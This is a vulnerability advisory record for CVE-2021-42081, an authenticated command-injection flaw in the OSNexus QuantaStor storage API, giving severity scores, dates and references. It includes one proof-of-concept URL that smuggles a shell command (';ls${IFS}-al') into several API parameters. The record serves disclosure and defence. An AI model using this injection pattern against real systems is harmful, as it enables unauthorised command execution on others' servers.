CVE-2021-42081

7.2 highEPSS 1.2%

High (7.2) in osnexus quantastor. EPSS 1.2% chance of exploitation in the next 30 days.

An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al

Severity

CVSS 3.1

7.2 high

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

EPSS: 1.2% chance of exploitation in the next 30 days; higher than 68% of CVEs (scores of 2026-10-31)
CWE: CWE-78
Published: 2023-07-10
Modified: 2026-06-17
Record from: the NVD, synced 2026-10-19

Affected

osnexus:quantastor

References

https://csirt.divd.nl/CVE-2021-42081
https://csirt.divd.nl/DIVD-2021-00020/
https://www.osnexus.com/products/software-defined-storage
https://www.wbsec.nl/osnexus
https://csirt.divd.nl/CVE-2021-42081

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